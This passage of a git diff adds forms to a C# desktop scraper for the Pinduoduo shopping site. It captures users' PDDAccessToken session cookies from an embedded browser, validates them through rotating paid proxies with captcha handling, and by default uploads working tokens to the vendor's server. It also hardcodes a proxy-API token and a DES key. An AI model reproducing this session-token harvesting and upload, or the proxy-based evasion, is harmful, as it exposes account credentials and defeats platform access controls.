(e.Frame.IsMain) + { + string url = e.Frame.Url; + string html = await e.Frame.GetSourceAsync(); + + List cookieList = GetCookieList("yangkeduo.com", cefWebBrowser.RequestContext.GetCookieManager(null)); + string token = cookieList.Where(p => p.Name == "PDDAccessToken").Select(p => p.Value).FirstOrDefault(); + if (!string.IsNullOrEmpty(token)) + { + this.BeginInvoke(new Action(() => + { + this.onSaveComplete(token); + this.Close(); + })); + } + } + //string url = cefWebBrowser.Address; + + //if (url.Contains(BaseClass.NewUrl+"/index.html")) + //{ + // List cookieList = GetCookieList("yangkeduo.com", null); + // string token = cookieList.Where(p => p.Name == "PDDAccessToken").Select(p => p.Value).FirstOrDefault(); + // if (!string.IsNullOrEmpty(token)) + // { + // this.BeginInvoke(new Action(() => + // { + // this.onSaveComplete(token); + // this.Close(); + // })); + // } + //} + + } + public static List GetCookieList(string domains = "", ICookieManager cookieManager = null) + { + if (cookieManager == null) + { + cookieManager = Cef.GetGlobalCookieManager(); + } + CookieVisitorx visitor = new CookieVisitorx(); + if (cookieManager.VisitAllCookies(visitor)) + { + visitor.WaitForAllCookie(); + } + if (string.IsNullOrEmpty(domains)) + { + return visitor.CookieList; + } + else + { + List list = new List(); + foreach (string domain in domains.Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries)) + { + list.AddRange(visitor.CookieList.Where(p => p.Domain.Contains(domain.Trim())).ToList()); + } + return list; + } + + } + + } + public class CookieVisitorx : ICookieVisitor + { + public List CookieList; + public ManualResetEvent gotAllCookie = new ManualResetEvent(false); + + public CookieVisitorx() + { + CookieList = new List(); + } + + public bool Visit(Cookie cookie, int count, int total, ref bool deleteCookie) + { + CookieList.Add(cookie); + if (count == total - 1) + { + gotAllCookie.Set(); + } + return true; + } + + public void WaitForAllCookie() + { + gotAllCookie.WaitOne(); + } + + #region IDisposable Support + private bool disposedValue = false; // To detect redundant calls + + protected virtual void Dispose(bool disposing) + { + if (!disposedValue) + { + if (disposing) + { + // TODO: dispose managed state (managed objects). + } + + // TODO: free unmanaged resources (unmanaged objects) and override a finalizer below. + // TODO: set large fields to null. + + disposedValue = true; + } + } + + // TODO: override a finalizer only if Dispose(bool disposing) above has code to free unmanaged resources. + // ~CookieVisitor() + // { + // // Do not change this code. Put cleanup code in Dispose(bool disposing) above. + // Dispose(false); + // } + + // This code added to correctly implement the disposable pattern. + void IDisposable.Dispose() + { + // Do not change this code. Put cleanup code in Dispose(bool disposing) above. + Dispose(true); + // TODO: uncomment the following line if the finalizer is overridden above. + // GC.SuppressFinalize(this); + } + #endregion + + } +} diff --git a/TEMUKJD/KJDForms/ToolForms/PinDuoDuoLoginForm.designer.cs b/TEMUKJD/KJDForms/ToolForms/PinDuoDuoLoginForm.designer.cs new file mode 100644 index 0000000..552aba5 --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/PinDuoDuoLoginForm.designer.cs @@ -0,0 +1,63 @@ +namespace LittleRabbit.LittleRabbitForms.ToolForms +{ + partial class PinDuoDuoLoginForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.panel1 = new System.Windows.Forms.Panel(); + this.SuspendLayout(); + // + // panel1 + // + this.panel1.BackColor = System.Drawing.Color.White; + this.panel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel1.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.panel1.Location = new System.Drawing.Point(0, 32); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(360, 543); + this.panel1.TabIndex = 0; + // + // PinDuoDuoLoginForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(360, 575); + this.Controls.Add(this.panel1); + this.Name = "PinDuoDuoLoginForm"; + this.Text = "获取Token"; + this.TitleText = "获取Token"; + this.Load += new System.EventHandler(this.PinDuoDuoLoginForm_Load); + this.Controls.SetChildIndex(this.panel1, 0); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel1; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ToolForms/PinDuoDuoLoginForm.resx b/TEMUKJD/KJDForms/ToolForms/PinDuoDuoLoginForm.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/PinDuoDuoLoginForm.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ToolForms/ProxyForm.cs b/TEMUKJD/KJDForms/ToolForms/ProxyForm.cs new file mode 100644 index 0000000..3472036 --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/ProxyForm.cs @@ -0,0 +1,109 @@ +using AllBase; +using AllBase.Helper; +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.Util.Extension; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work; +using Work.Api; + +namespace LittleRabbit.LittleRabbitForms.ToolForms +{ + public partial class ProxyForm : LRBaseForm + { + + public ProxyForm() + { + InitializeComponent(); + MaximizeBox = false; + } + + private void proxyButtonX_Click(object sender, EventArgs e) + { + if (string.IsNullOrEmpty(txtProxy.Text)) + return; + string sAgentIpKey = this.txtProxy.Text.ParseToString().Trim(); + InitProxyIp(sAgentIpKey); + try + { + FileBase.WriteAllText("temp/proxy.txt", sAgentIpKey, Encoding.UTF8); + } + catch + { + } + if (!string.IsNullOrEmpty(GetProxyHtml.txtUrl)) + { + BaseMsgForm.ShowInfo("设置成功", "", FormLevel.SMALL); + return; + } + } + + private void ProxyForm_Load(object sender, EventArgs e) + { + if (BaseClass.Ico != null) + Icon = BaseClass.Ico; + if (FileBase.Exists("temp/proxy.txt")) + { + string sAgentIpKey = FileBase.ReadAllText("temp/proxy.txt").Trim(); + InitProxyIp(sAgentIpKey); + txtProxy.Text = sAgentIpKey; + } + } + + public static void InitProxyIp(string sAgentIpKey, bool isShowErrorWindow = true) + { + string sOrderId = DESDecode(sAgentIpKey, GlobalConfig.cAgentIpCode); + if (string.IsNullOrEmpty(sOrderId)) + { + if (isShowErrorWindow) + BaseMsgForm.ShowError("代理秘钥验证不通过,请检查秘钥!"); + return; + } + string sProxyUrl = "http://bjn.66daili.cn/API/bjn/get/?orderid=" + sOrderId + "&token=5AF433ED506FA475"; + GetProxyHtml.txtUrl = sProxyUrl; + GetProxyHtml.orderId = sOrderId; + } + + private static byte[] Keys = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF }; + public static string DESDecode(string source, string sKey) + { + try + { + byte[] inputByteArray = System.Convert.FromBase64String(source);//Encoding.UTF8.GetBytes(source); + using (DESCryptoServiceProvider des = new DESCryptoServiceProvider()) + { + des.Key = ASCIIEncoding.ASCII.GetBytes(sKey); + des.IV = Keys; + System.IO.MemoryStream ms = new System.IO.MemoryStream(); + using (CryptoStream cs = new CryptoStream(ms, des.CreateDecryptor(), CryptoStreamMode.Write)) + { + cs.Write(inputByteArray, 0, inputByteArray.Length); + cs.FlushFinalBlock(); + cs.Close(); + } + string str = Encoding.UTF8.GetString(ms.ToArray()); + ms.Close(); + return str; + } + } + catch (Exception ex) + { + return ""; + } + } + + private void btnAgentIPUrl_Click(object sender, EventArgs e) + { + GetHtml.OpenUrl("http://guangsu.deifei.com.cn/"); + } + } +} diff --git a/TEMUKJD/KJDForms/ToolForms/ProxyForm.designer.cs b/TEMUKJD/KJDForms/ToolForms/ProxyForm.designer.cs new file mode 100644 index 0000000..45e25b5 --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/ProxyForm.designer.cs @@ -0,0 +1,128 @@ +namespace LittleRabbit.LittleRabbitForms.ToolForms +{ + partial class ProxyForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.txtProxy = new System.Windows.Forms.TextBox(); + this.proxyButtonX = new LittleRabbit.UserControls.ButtonEx(); + this.panel2 = new System.Windows.Forms.Panel(); + this.btnAgentIPUrl = new LittleRabbit.UserControls.ButtonEx(); + this.label8 = new System.Windows.Forms.Label(); + this.panel2.SuspendLayout(); + this.SuspendLayout(); + // + // txtProxy + // + this.txtProxy.Location = new System.Drawing.Point(13, 28); + this.txtProxy.Name = "txtProxy"; + this.txtProxy.Size = new System.Drawing.Size(304, 23); + this.txtProxy.TabIndex = 335; + // + // proxyButtonX + // + this.proxyButtonX.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.proxyButtonX.Cursor = System.Windows.Forms.Cursors.Hand; + this.proxyButtonX.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.proxyButtonX.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.proxyButtonX.ForeColor = System.Drawing.Color.White; + this.proxyButtonX.Location = new System.Drawing.Point(328, 27); + this.proxyButtonX.Margin = new System.Windows.Forms.Padding(2); + this.proxyButtonX.Name = "proxyButtonX"; + this.proxyButtonX.Size = new System.Drawing.Size(81, 26); + this.proxyButtonX.TabIndex = 369; + this.proxyButtonX.Text = "设置代理IP"; + this.proxyButtonX.UseVisualStyleBackColor = false; + this.proxyButtonX.Click += new System.EventHandler(this.proxyButtonX_Click); + // + // panel2 + // + this.panel2.BackColor = System.Drawing.Color.White; + this.panel2.Controls.Add(this.btnAgentIPUrl); + this.panel2.Controls.Add(this.label8); + this.panel2.Controls.Add(this.txtProxy); + this.panel2.Controls.Add(this.proxyButtonX); + this.panel2.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel2.Location = new System.Drawing.Point(1, 33); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(503, 81); + this.panel2.TabIndex = 371; + // + // btnAgentIPUrl + // + this.btnAgentIPUrl.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnAgentIPUrl.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnAgentIPUrl.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnAgentIPUrl.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnAgentIPUrl.ForeColor = System.Drawing.Color.White; + this.btnAgentIPUrl.Location = new System.Drawing.Point(411, 27); + this.btnAgentIPUrl.Margin = new System.Windows.Forms.Padding(2); + this.btnAgentIPUrl.Name = "btnAgentIPUrl"; + this.btnAgentIPUrl.Size = new System.Drawing.Size(81, 26); + this.btnAgentIPUrl.TabIndex = 371; + this.btnAgentIPUrl.Text = "购买代理IP"; + this.btnAgentIPUrl.UseVisualStyleBackColor = false; + this.btnAgentIPUrl.Click += new System.EventHandler(this.btnAgentIPUrl_Click); + // + // label8 + // + this.label8.AutoSize = true; + this.label8.Font = new System.Drawing.Font("微软雅黑", 11.5F); + this.label8.ForeColor = System.Drawing.Color.Red; + this.label8.Location = new System.Drawing.Point(10, 4); + this.label8.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(265, 21); + this.label8.TabIndex = 370; + this.label8.Text = "请填入购买光速IP后生成的代理秘钥"; + // + // ProxyForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.ClientSize = new System.Drawing.Size(505, 115); + this.Controls.Add(this.panel2); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Name = "ProxyForm"; + this.Text = "代理IP"; + this.TitleText = "代理IP"; + this.Load += new System.EventHandler(this.ProxyForm_Load); + this.Controls.SetChildIndex(this.panel2, 0); + this.panel2.ResumeLayout(false); + this.panel2.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.TextBox txtProxy; + private UserControls.ButtonEx proxyButtonX; + private System.Windows.Forms.Panel panel2; + private System.Windows.Forms.Label label8; + private UserControls.ButtonEx btnAgentIPUrl; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ToolForms/ProxyForm.resx b/TEMUKJD/KJDForms/ToolForms/ProxyForm.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/ProxyForm.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ToolForms/TextForm.cs b/TEMUKJD/KJDForms/ToolForms/TextForm.cs new file mode 100644 index 0000000..6fc7f30 --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/TextForm.cs @@ -0,0 +1,54 @@ +using AllBase; +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.Util.Extension; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.ToolForms +{ + public partial class TextForm : LRBaseForm + { + public string Info { get; set; } + public delegate void OnSaveComplete(string msg); + public event OnSaveComplete onSaveComplete; + public TextForm() + { + Info = string.Empty; + InitializeComponent(); + } + public TextForm(string info) + { + Info = info; + InitializeComponent(); + } + + + private void button1_Click(object sender, EventArgs e) + { + onSaveComplete(this.txtInfo.Text.Trim()); + this.Close(); + } + + private void TextForm_Load(object sender, EventArgs e) + { + if (BaseClass.Ico != null) + Icon = BaseClass.Ico; + this.txtInfo.Text = Info.ParseToString().Trim(); + } + + private void txtInfo_KeyDown(object sender, KeyEventArgs e) + { + if (e.Control && e.KeyCode == Keys.A) + { + ((TextBox)sender).SelectAll(); + } + } + } +} diff --git a/TEMUKJD/KJDForms/ToolForms/TextForm.designer.cs b/TEMUKJD/KJDForms/ToolForms/TextForm.designer.cs new file mode 100644 index 0000000..77e0e0a --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/TextForm.designer.cs @@ -0,0 +1,118 @@ + +using LittleRabbit.UserControls; + +namespace LittleRabbit.LittleRabbitForms.ToolForms +{ + partial class TextForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.txtInfo = new System.Windows.Forms.TextBox(); + this.button1 = new LittleRabbit.UserControls.ButtonEx(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.SuspendLayout(); + // + // splitContainer1 + // + this.splitContainer1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(98)))), ((int)(((byte)(200))))); + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.Location = new System.Drawing.Point(1, 33); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.BackColor = System.Drawing.Color.White; + this.splitContainer1.Panel1.Controls.Add(this.txtInfo); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.BackColor = System.Drawing.Color.White; + this.splitContainer1.Panel2.Controls.Add(this.button1); + this.splitContainer1.Size = new System.Drawing.Size(491, 326); + this.splitContainer1.SplitterDistance = 278; + this.splitContainer1.SplitterWidth = 1; + this.splitContainer1.TabIndex = 0; + // + // txtInfo + // + this.txtInfo.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.txtInfo.Dock = System.Windows.Forms.DockStyle.Fill; + this.txtInfo.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.txtInfo.Location = new System.Drawing.Point(0, 0); + this.txtInfo.Multiline = true; + this.txtInfo.Name = "txtInfo"; + this.txtInfo.Size = new System.Drawing.Size(491, 278); + this.txtInfo.TabIndex = 34; + this.txtInfo.KeyDown += new System.Windows.Forms.KeyEventHandler(this.txtInfo_KeyDown); + // + // button1 + // + this.button1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.button1.Cursor = System.Windows.Forms.Cursors.Hand; + this.button1.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.button1.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.button1.ForeColor = System.Drawing.Color.White; + this.button1.Location = new System.Drawing.Point(200, 8); + this.button1.Name = "button1"; + this.button1.Size = new System.Drawing.Size(97, 27); + this.button1.TabIndex = 1; + this.button1.Text = "保存token"; + this.button1.UseVisualStyleBackColor = false; + this.button1.Click += new System.EventHandler(this.button1_Click); + // + // TextForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(493, 360); + this.Controls.Add(this.splitContainer1); + this.Name = "TextForm"; + this.Text = "输入token"; + this.TitleText = "输入token"; + this.Load += new System.EventHandler(this.TextForm_Load); + this.Controls.SetChildIndex(this.splitContainer1, 0); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel1.PerformLayout(); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer1; + private System.Windows.Forms.TextBox txtInfo; + private ButtonEx button1; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ToolForms/TextForm.resx b/TEMUKJD/KJDForms/ToolForms/TextForm.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/TextForm.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ToolForms/TokenNewForm.cs b/TEMUKJD/KJDForms/ToolForms/TokenNewForm.cs new file mode 100644 index 0000000..7d54855 --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/TokenNewForm.cs @@ -0,0 +1,833 @@ +using AllBase; +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.Util.Extension; +using Newtonsoft.Json; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.IO; +using System.IO.Compression; +using System.Linq; +using System.Net; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work; +using Work.Api; +using Work.CollectClass; + +namespace LittleRabbit.LittleRabbitForms.ToolForms +{ + public partial class TokenNewForm : LRBaseForm + { + public TokenNewForm() + { + InitializeComponent(); + this.splitContainer2.SplitterWidth = 1; + } + + private void dataGridView3_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + string name = dataGridView3.Columns[e.ColumnIndex].HeaderText; + string token = dataGridView3.Rows[e.RowIndex].Cells["TokenColumn"].Value.ParseToString(); + switch (name) + { + case "选择": + bool ok = !bool.Parse(dataGridView3.Rows[e.RowIndex].Cells["onSelectColumn"].Value.ToString()); + dataGridView3.Rows[e.RowIndex].Cells["onSelectColumn"].Value = ok; + break; + case "激活": + CaptchaToken(token); + break; + case "检测": + CheckToken(new string[] { token }); + break; + case "删除": + DeleteToken(e.RowIndex); + SaveConfig(); + break; + default: + dataGridView3.Rows[e.RowIndex].Cells["onSelectColumn"].Value = !(bool)dataGridView3.Rows[e.RowIndex].Cells["onSelectColumn"].Value; + break; + } + } + private void DeleteToken(string token) + { + DataGridViewRow dgvr = dataGridView3.Rows.Cast().Where(p => p.Cells["TokenColumn"].Value.ParseToString() == token).FirstOrDefault(); + if (dgvr != null) + { + DeleteToken(dgvr.Index); + } + } + private void CaptchaToken(string token) + { + PinDuoDuoCaptchaForm pinDuoDuoCaptchaForm = new PinDuoDuoCaptchaForm(token); + pinDuoDuoCaptchaForm.onSaveComplete += PinDuoDuoCaptchaForm_SaveComplete; + pinDuoDuoCaptchaForm.ShowDialog(); + SaveConfig(); + } + private void PinDuoDuoCaptchaForm_SaveComplete(object param) + { + TData obj = param as TData; + if (obj.Tag == 1) + { + CheckToken(new string[] { obj.Result }); + } + else + { + DeleteToken(obj.Result); + SaveConfig(); + } + } + private void dataGridView3_RowPostPaint(object sender, DataGridViewRowPostPaintEventArgs e) + { + Rectangle rectangle = new Rectangle(e.RowBounds.Location.X, e.RowBounds.Location.Y, dataGridView3.RowHeadersWidth - 4, e.RowBounds.Height); + TextRenderer.DrawText(e.Graphics, (e.RowIndex + 1).ToString(), dataGridView3.RowHeadersDefaultCellStyle.Font, rectangle, + dataGridView3.RowHeadersDefaultCellStyle.ForeColor, TextFormatFlags.VerticalCenter | TextFormatFlags.Right); + } + private List GetCheckedTokenList() + { + List tokenList = new List(); + for (int i = 0; i < dataGridView3.Rows.Count; i++) + { + bool onSelect = bool.Parse(dataGridView3.Rows[i].Cells["onSelectColumn"].Value.ToString()); + if (onSelect) + { + string token = dataGridView3.Rows[i].Cells["TokenColumn"].Value.ToString(); + tokenList.Add(token); + } + } + return tokenList; + } + + private void button1_Click(object sender, EventArgs e) + { + if (this.button1.Text == "检测Token") + { + List tokenList = GetCheckedTokenList(); + if (tokenList.Count == 0) + { + BaseMsgForm.ShowInfo("请选择需要检测的Token码"); + return; + } + CheckToken(tokenList.ToArray(), isSaveToServer); + this.button1.Text = "停止检测"; + } + else + { + this.button1.Text = "检测Token"; + this.statusBar.lblTaskStatus.Text = "用户取消"; + this.statusBar.pgbTaskProgress.Value = this.statusBar.pgbTaskProgress.Maximum; + cancellationTokenSource.Cancel(); + } + } + private bool isSaveToServer = true; + private CancellationTokenSource cancellationTokenSource = null; + private void CheckToken(string[] pddAccessTokenArr, bool isSaveToServer = false) + { + cancellationTokenSource = new CancellationTokenSource(); + this.statusBar.lblTaskStatus.Text = "正在检测..."; + this.statusBar.pgbTaskProgress.Value = 0; + this.statusBar.pgbTaskProgress.Maximum = pddAccessTokenArr.Length; + this.statusBar.pgbTaskProgress.Text = "0" + "/" + pddAccessTokenArr.Length; + Task.Run(() => + { + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < pddAccessTokenArr.Length; i++) + { + if (cancellationTokenSource.IsCancellationRequested) + { + return; + } + string temp = pddAccessTokenArr[i].Trim(); + TData obj = null; + if (GetProxyHtml.ips.Count > 0) + { + obj = CheckPDDAccessToken(temp, 1); + if (obj.Result.ProductDetailStatus == 1) + { + sb.Append(temp + ","); + } + } + if (obj == null || obj.Result == null) + { + obj = CheckPDDAccessToken(temp, 0); + if (obj.Result.ProductDetailStatus == 1) + { + sb.Append(temp + ","); + } + } + if (this.Created) + { + if (i % 5 == 0 || i == pddAccessTokenArr.Length - 1) + { + + this.Invoke(new Action(() => + { + this.statusBar.lblTaskStatus.Text = "正在检测..."; + this.statusBar.pgbTaskProgress.Value = (i + 1); + this.statusBar.pgbTaskProgress.Text = (i + 1) + "/" + pddAccessTokenArr.Length; + })); + } + AddToken(obj.Result); + } + //AddToken(obj.Result); + } + if (isSaveToServer) + { + string pddAccessToken = sb.ToString().Trim(','); + if (!string.IsNullOrEmpty(pddAccessToken)) + { + SaveToken(pddAccessToken); + } + } + if (this.Created) + { + this.Invoke(new Action(() => + { + this.button1.Text = "检测Token"; + this.statusBar.lblTaskStatus.Text = "检测完毕"; + })); + } + SaveConfig(); + }); + } + public void SaveToken(string pddAccessToken) + { + string url = BaseClass.BuildObjString("sign"); + string data = UserLogin.GetSignaturex() + + "&act=add_token" + + "&token=" + pddAccessToken; + var result = GetHtml.PostUtf8(url, data); + } + private void SaveConfig() + { + SavePinDuoDuoAccessToken(); + } + public static void SavePinDuoDuoAccessToken() + { + SaveConfig("temp/pinduoduo_token", PinduoduoProductCollect.PinDuoDuoTokenList); + } + public static void SaveConfig(string fileName, T config) + { + try + { + string filePath = AppDomain.CurrentDomain.BaseDirectory + fileName; + if (!Directory.Exists(Path.GetDirectoryName(filePath))) + { + Directory.CreateDirectory(Path.GetDirectoryName(filePath)); + } + string content = JsonConvert.SerializeObject(config); + File.WriteAllText(filePath, content, Encoding.UTF8); + } + catch { } + } + + private void AddToken(PinDuoDuoTokenInfo param) + { + PinDuoDuoTokenInfo tokenInfo = PinduoduoProductCollect.PinDuoDuoTokenList.Where(p => p.PDDAccessToken == param.PDDAccessToken).FirstOrDefault(); + if (tokenInfo == null) + { + PinduoduoProductCollect.PinDuoDuoTokenList.Add(param); + } + else + { + tokenInfo.UserId = param.UserId; + tokenInfo.ProductDetailStatus = param.ProductDetailStatus; + tokenInfo.LoginStatus = param.LoginStatus; + tokenInfo.SearchStatus = param.SearchStatus; + tokenInfo.IsCaptcha = param.IsCaptcha; + } + AddDataGridViewRowToken(param); + } + private void UpdateDataGridViewRowToken(DataGridViewRow dgvr, PinDuoDuoTokenInfo param) + { + dgvr.Cells["StatusColumn"].Value = (param.ProductDetailStatus == 1 ? "正常" : "不能用"); + dgvr.Cells["loginStatusColumn"].Value = (param.LoginStatus == 1 ? "正常" : "不能用"); + dgvr.Cells["colSearchStatusColumn"].Value = (param.SearchStatus == 1 ? "正常" : "不能用"); + //dgvr.Cells["colCaptchaColumn"].Value = (param.IsCaptcha ? "激活" : string.Empty); + dgvr.Cells["colCaptchaColumn"].Value = "激活"; + } + private void AddDataGridViewRowToken(PinDuoDuoTokenInfo param) + { + this.Invoke(new Action(() => + { + DataGridViewRow dgvr = dataGridView3.Rows.Cast().Where(p => p.Cells["TokenColumn"].Value.ToString() == param.PDDAccessToken).FirstOrDefault(); + if (dgvr != null) + { + UpdateDataGridViewRowToken(dgvr, param); + } + else + { + this.dataGridView3.Rows.Add( + false, + param.PDDAccessToken, + param.LoginStatus == 1 ? "正常" : "未登录", + param.SearchStatus == 1 ? "正常" : "不能用", + param.ProductDetailStatus == 1 ? "正常" : "不能用", + //param.IsCaptcha ? "激活" : string.Empty, + "激活", + "检测", + "删除" + ); + } + })); + } + + public TData CheckPDDAccessToken(string pddAccessToken, int flag = 0) + { + TData obj = new TData(); + obj.Result = new PinDuoDuoTokenInfo + { + PDDAccessToken = pddAccessToken + }; + string url = BaseClass.NewUrl+"/personal.html"; + string refere = ""; + string html = ""; + if (flag == 1) + html = GetProxyHtml.UploadProxyTaobao(url, refere, true, "PDDAccessToken=" + pddAccessToken); + else + html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, "PDDAccessToken=" + pddAccessToken); + if (string.IsNullOrEmpty(html)) + { + obj.Result.LoginStatus = obj.Result.ProductDetailStatus = -1; + } + else if (html.Contains("我的订单")) + { + obj.Result.LoginStatus = 1; + url = "http://yangkeduo.com/goods.html?goods_id=17252982258"; + if (flag == 1) + { + html = GetProxyHtml.UploadProxyTaobao(url, refere, true, "PDDAccessToken=" + pddAccessToken); + } + else + { + html = GetProductDetail(url, pddAccessToken); + if (!IsNotPinDuoDuoProductDetail(html)) + { + if (html.Contains("垃圾桶")) + { + obj.Result.ProductDetailStatus = 1; + } + else + { + html = 